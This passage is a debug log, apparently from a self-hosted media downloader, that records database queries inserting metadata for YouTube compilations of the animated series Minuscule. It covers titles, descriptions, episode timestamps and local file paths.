S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule 🍃 40' Compilation", "5cSqpA_gNqs", 1782, false, 5, "https://www.youtube.com/watch?v=5cSqpA_gNqs", "/downloads/Miniscule Season 2/2025-06-26 Pollution | Minuscule 🍃 40' Compilation/Pollution | Minuscule 🍃 40' Compilation [5cSqpA_gNqs].mp4", false, ~U[2025-06-26 10:00:07Z]] 22:15:39.136 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.138 [debug] QUERY OK source="media_items" db=0.8ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 18:00:50Z], 5] 22:15:39.141 [debug] QUERY OK source="media_items" db=2.5ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Broom's Sweep | S03E21\n00:01:29 | The Sled and the Ant | S03E25\n00:02:58 | The Wicked Web | S03E07\n00:04:27 | Sow The Wind And Reap The Storm | S03E11\n00:06:05 | Like A Cannon Ball | S03E03\n00:07:34 | A Pea In The Hand Is Worth... | S03E05\n00:09:06 | The Cruel Cow in The Meadow | S03E09\n00:10:36 | The Doughnut | S03E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#broom #carrot #wasps #centipede #spider #pine #transportation #snowy #Minuscule #nature #insects #ladybugs #animatedseries", "Broom's Sweep | Minuscule 🍃 15' Compilation", "4da38bb7-96b0-4264-ac7e-b5bfe017e724", "wiTbTtZA7us", 747, false, 5, "https://www.youtube.com/watch?v=wiTbTtZA7us", 44, "/downloads/Miniscule Season 2/2025-06-28 Broom's Sweep | Minuscule 🍃 15' Compilation/Broom's Sweep | Minuscule 🍃 15' Compilation [wiTbTtZA7us].mp4", false, false, false, [], 1, ~U[2025-06-28 18:00:50Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Broom's Sweep | S03E21\n00:01:29 | The Sled and the Ant | S03E25\n00:02:58 | The Wicked Web | S03E07\n00:04:27 | Sow The Wind And Reap The Storm | S03E11\n00:06:05 | Like A Cannon Ball | S03E03\n00:07:34 | A Pea In The Hand Is Worth... | S03E05\n00:09:06 | The Cruel Cow in The Meadow | S03E09\n00:10:36 | The Doughnut | S03E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#broom #carrot #wasps #centipede #spider #pine #transportation #snowy #Minuscule #nature #insects #ladybugs #animatedseries", "Broom's Sweep | Minuscule 🍃 15' Compilation", "wiTbTtZA7us", 747, false, 5, "https://www.youtube.com/watch?v=wiTbTtZA7us", "/downloads/Miniscule Season 2/2025-06-28 Broom's Sweep | Minuscule 🍃 15' Compilation/Broom's Sweep | Minuscule 🍃 15' Compilation [wiTbTtZA7us].mp4", false, ~U[2025-06-28 18:00:50Z]] 22:15:39.142 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.143 [debug] QUERY OK source="media_items" db=0.9ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-01 06:00:21Z], 5] 22:15:39.147 [debug] QUERY OK source="media_items" db=2.4ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Down The Chimney | S02E42\n00:03:45 | Umbrella And Coconut Trees | S02E71\n00:07:19 | The Yule log | S02E35\n00:11:04 | Away all boarders! | S02E41\n00:14:47 | The Housing Plant Project | S02E26\n00:18:23 | Ladybugland | S02E62\n00:21:51 | If Only Lonely | S02E22\n00:25:36 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybugs #chimney #Christmas #winter #umbrella #coconut #ladybug #Minuscule #nature #insects #animatedseries", "Down The Chimney | Minuscule 🍃 40' Compilation", "9e7bb835-56e5-46b9-bfdc-b10d3a1a782a", "TyXg5k2lZA4", 1779, false, 5, "https://www.youtube.com/watch?v=TyXg5k2lZA4", 45, "/downloads/Miniscule Season 2/2025-07-01 Down The Chimney | Minuscule 🍃 40' Compilation/Down The Chimney | Minuscule 🍃 40' Compilation [TyXg5k2lZA4].mp4", false, false, false, [], 1, ~U[2025-07-01 06:00:21Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Down The Chimney | S02E42\n00:03:45 | Umbrella And Coconut Trees | S02E71\n00:07:19 | The Yule log | S02E35\n00:11:04 | Away all boarders! | S02E41\n00:14:47 | The Housing Plant Project | S02E26\n00:18:23 | Ladybugland | S02E62\n00:21:51 | If Only Lonely | S02E22\n00:25:36 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybugs #chimney #Christmas #winter #umbrella #coconut #ladybug #Minuscule #nature #insects #animatedseries", "Down The Chimney | Minuscule 🍃 40' Compilation", "TyXg5k2lZA4", 1779, false, 5, "https://www.youtube.com/watch?v=TyXg5k2lZA4", "/downloads/Miniscule Season 2/2025-07-01 Down The Chimney | Minuscule 🍃 40' Compilation/Down The Chimney | Minuscule 🍃 40' Compilation [TyXg5k2lZA4].mp4", false, ~U[2025-07-01 06:00:21Z]] 22:15:39.147 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.149 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-21 18:01:01Z], 5] 22:15:39.159 [debug] QUERY OK source="media_items" db=8.7ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | At Full Speed | S02E27\n00:07:24 | The Housing Plant Project | S02E26\n00:11:00 | White As Snow | S02E63\n00:14:37 | Chewing gum rodeo | S02E14\n00:18:22 | An Acorn Season | S02E05\n00:22:08 | Ants On The Train | S02E52\n00:25:39 | Snow Fly | S02E51\n00:29:04 | Bzzaping | S02E03\n00:32:51 | Go Blue Go! | S02E54\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #race #country #wacky #Minuscule #nature #ladybugs #animatedseries", "It's a tie! | Minuscule 🍃 50' Compilation", "c26c9e8d-9906-4b77-83c5-d567b7e2370d", "uxyo_7irQn8", 2231, false, 5, "https://www.youtube.com/watch?v=uxyo_7irQn8", 46, "/downloads/Miniscule Season 2/2025-06-21 It's a tie! | Minuscule 🍃 50' Compilation/It's a tie! | Minuscule 🍃 50' Compilation [uxyo_7irQn8].mp4", false, false, false, [], 1, ~U[2025-06-21 18:01:01Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | At Full Speed | S02E27\n00:07:24 | The Housing Plant Project | S02E26\n00:11:00 | White As Snow | S02E63\n00:14:37 | Chewing gum rodeo | S02E14\n00:18:22 | An Acorn Season | S02E05\n00:22:08 | Ants On The Train | S02E52\n00:25:39 | Snow Fly | S02E51\n00:29:04 | Bzzaping | S02E03\n00:32:51 | Go Blue Go! | S02E54\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #race #country #wacky #Minuscule #nature #ladybugs #animatedseries", "It's a tie! | Minuscule 🍃 50' Compilation", "uxyo_7irQn8", 2231, false, 5, "https://www.youtube.com/watch?v=uxyo_7irQn8", "/downloads/Miniscule Season 2/2025-06-21 It's a tie! | Minuscule 🍃 50' Compilation/It's a tie! | Minuscule 🍃 50' Compilation [uxyo_7irQn8].mp4", false, ~U[2025-06-21 18:01:01Z]] 22:15:39.159 [debug] QUERY OK source="sources" db=0.3ms idle=12.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.161 [debug] QUERY OK source="media_items" db=0.8ms idle=12.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-19 10:01:44Z], 5] 22:15:39.164 [debug] QUERY OK source="media_items" db=2.5ms idle=12.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Away all boarders! | S02E41\n00:03:42 | Twelve Angry Snails | S02E66\n00:07:15 | Top Tabasco | S02E70\n00:10:52 | Turbo speed | S02E58\n00:14:17 | Sand Castle | S02E49\n00:17:43 | White As Snow | S02E63\n00:21:20 | Metamorphosis | S02E61\n00:24:50 | Ants On The Train | S02E52\n00:28:22 | The Monster Of The Haunted Swamp | S02E37\n00:31:52 | Patatas Fritas | S02E21\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#battle #ants #cottage #pistachios #snails #escape #gourmet #restaurant #Minuscule #nature #insects #ladybugs #animatedseries", "Away all boarders! | Minuscule 🍃 45' Compilation", "d3b09eba-38f8-4bbd-9faf-6a7058e0f144", "G4SP8ouB0Yk", 2177, false, 5, "https://www.youtube.com/watch?v=G4SP8ouB0Yk", 47, "/downloads/Miniscule Season 2/2025-06-19 Away all boarders! | Minuscule 🍃 45' Compilation/Away all boarders! | Minuscule 🍃 45' Compilation [G4SP8ouB0Yk].mp4", false, false, false, [], 1, ~U[2025-06-19 10:01:44Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Away all boarders! | S02E41\n00:03:42 | Twelve Angry Snails | S02E66\n00:07:15 | Top Tabasco | S02E70\n00:10:52 | Turbo speed | S02E58\n00:14:17 | Sand Castle | S02E49\n00:17:43 | White As Snow | S02E63\n00:21:20 | Metamorphosis | S02E61\n00:24:50 | Ants On The Train | S02E52\n00:28:22 | The Monster Of The Haunted Swamp | S02E37\n00:31:52 | Patatas Fritas | S02E21\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#battle #ants #cottage #pistachios #snails #escape #gourmet #restaurant #Minuscule #nature #insects #ladybugs #animatedseries", "Away all boarders! | Minuscule 🍃 45' Compilation", "G4SP8ouB0Yk", 2177, false, 5, "https://www.youtube.com/watch?v=G4SP8ouB0Yk", "/downloads/Miniscule Season 2/2025-06-19 Away all boarders! | Minuscule 🍃 45' Compilation/Away all boarders! | Minuscule 🍃 45' Compilation [G4SP8ouB0Yk].mp4", false, ~U[2025-06-19 10:01:44Z]] 22:15:39.165 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.167 [debug] QUERY OK source="media_items" db=0.9ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-12 10:01:41Z], 5] 22:15:39.170 [debug] QUERY OK source="media_items" db=2.4ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzz zzz | S02E44\n00:03:30 | Sunburn | S02E40\n00:06:55 | The Monster Of The Haunted Swamp | S02E37\n00:10:25 | The Mosquito Of The Caribbean | S02E57\n00:14:11 | Spider from the Depths | S02E31\n00:17:45 | Down The Chimney | S02E42\n00:21:31 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #bedroom #sleeping #challenge #Sunburn #Mosquito #Swimming #Skin #Minuscule #nature #insects #ladybugs #animatedseries", "Zzz zzz | Minuscule 🍃 35' Compilation", "c37c837f-09d6-4d49-86f6-66ca2353a470", "JOl_P-vg2kk", 1540, false, 5, "https://www.youtube.com/watch?v=JOl_P-vg2kk", 48, "/downloads/Miniscule Season 2/2025-06-12 Zzz zzz | Minuscule 🍃 35' Compilation/Zzz zzz | Minuscule 🍃 35' Compilation [JOl_P-vg2kk].mp4", false, false, false, [], 1, ~U[2025-06-12 10:01:41Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzz zzz | S02E44\n00:03:30 | Sunburn | S02E40\n00:06:55 | The Monster Of The Haunted Swamp | S02E37\n00:10:25 | The Mosquito Of The Caribbean | S02E57\n00:14:11 | Spider from the Depths | S02E31\n00:17:45 | Down The Chimney | S02E42\n00:21:31 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #bedroom #sleeping #challenge #Sunburn #Mosquito #Swimming #Skin #Minuscule #nature #insects #ladybugs #animatedseries", "Zzz zzz | Minuscule 🍃 35' Compilation", "JOl_P-vg2kk", 1540, false, 5, "https://www.youtube.com/watch?v=JOl_P-vg2kk", "/downloads/Miniscule Season 2/2025-06-12 Zzz zzz | Minuscule 🍃 35' Compilation/Zzz zzz | Minuscule 🍃 35' Compilation [JOl_P-vg2kk].mp4", false, ~U[2025-06-12 10:01:41Z]] 22:15:39.171 [debug] QUERY OK source="sources" db=0.4ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.172 [debug] QUERY OK source="media_items" db=0.9ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 18:01:03Z], 5] 22:15:39.176 [debug] QUERY OK source="media_items" db=3.0ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:03:41 | Fly Hunting | S02E24\n00:07:15 | The Grocery Store Incident | S02E39\n00:10:45 | Brushing | S02E46\n00:14:18 | Ladybugland | S02E62\n00:17:45 | Labyrinth | S02E69\n00:21:31 | Refrigerated | S02E65\n00:25:05 | Spider from the Depths | S02E31\n00:28:40 | A Pathetic She'Nut'Igan | S02E12\n00:32:25 | The Stubborn Spider | S02E04\n00:36:11 | Bzzaping | S02E03\n00:39:58 | The Hat Of The Medusa | S02E17\n00:43:43 | The Butterfly Effect | S02E23\n00:47:06 | Summer Hat | S02E48\n00:50:47 | The Grocery Store Racketeer | S02E50\n00:54:23 | High voltage | S02E30\n00:57:57 | Microzilla | S02E07\n01:01:42 | Away all boarders! | S02E41\n01:05:25 | Zzz zzz | S02E44\n01:08:55 | Trapped | S02E64\n01:12:38 | The Vegetable Garden | S02E10\n01:16:23 | Rascals! | S02E38\n01:20:02 | The Monster Of The Haunted Swamp | S02E37\n01:23:33 | At Full Speed | S02E27\n01:27:16 | The Mosquito Of The Caribbean | S02E57\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #fly #hunting #pursuit #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation", "0fed16ac-402e-4d1a-a529-2ec369683516", "Hdt7fIPDP0Q", 5501, false, 5, "https://www.youtube.com/watch?v=Hdt7fIPDP0Q", 49, "/downloads/Miniscule Season 2/2025-05-24 Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation/Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation [Hdt7fIPDP0Q].mp4", false, false, false, [], 1, ~U[2025-05-24 18:01:03Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:03:41 | Fly Hunting | S02E24\n00:07:15 | The Grocery Store Incident | S02E39\n00:10:45 | Brushing | S02E46\n00:14:18 | Ladybugland | S02E62\n00:17:45 | Labyrinth | S02E69\n00:21:31 | Refrigerated | S02E65\n00:25:05 | Spider from the Depths | S02E31\n00:28:40 | A Pathetic She'Nut'Igan | S02E12\n00:32:25 | The Stubborn Spider | S02E04\n00:36:11 | Bzzaping | S02E03\n00:39:58 | The Hat Of The Medusa | S02E17\n00:43:43 | The Butterfly Effect | S02E23\n00:47:06 | Summer Hat | S02E48\n00:50:47 | The Grocery Store Racketeer | S02E50\n00:54:23 | High voltage | S02E30\n00:57:57 | Microzilla | 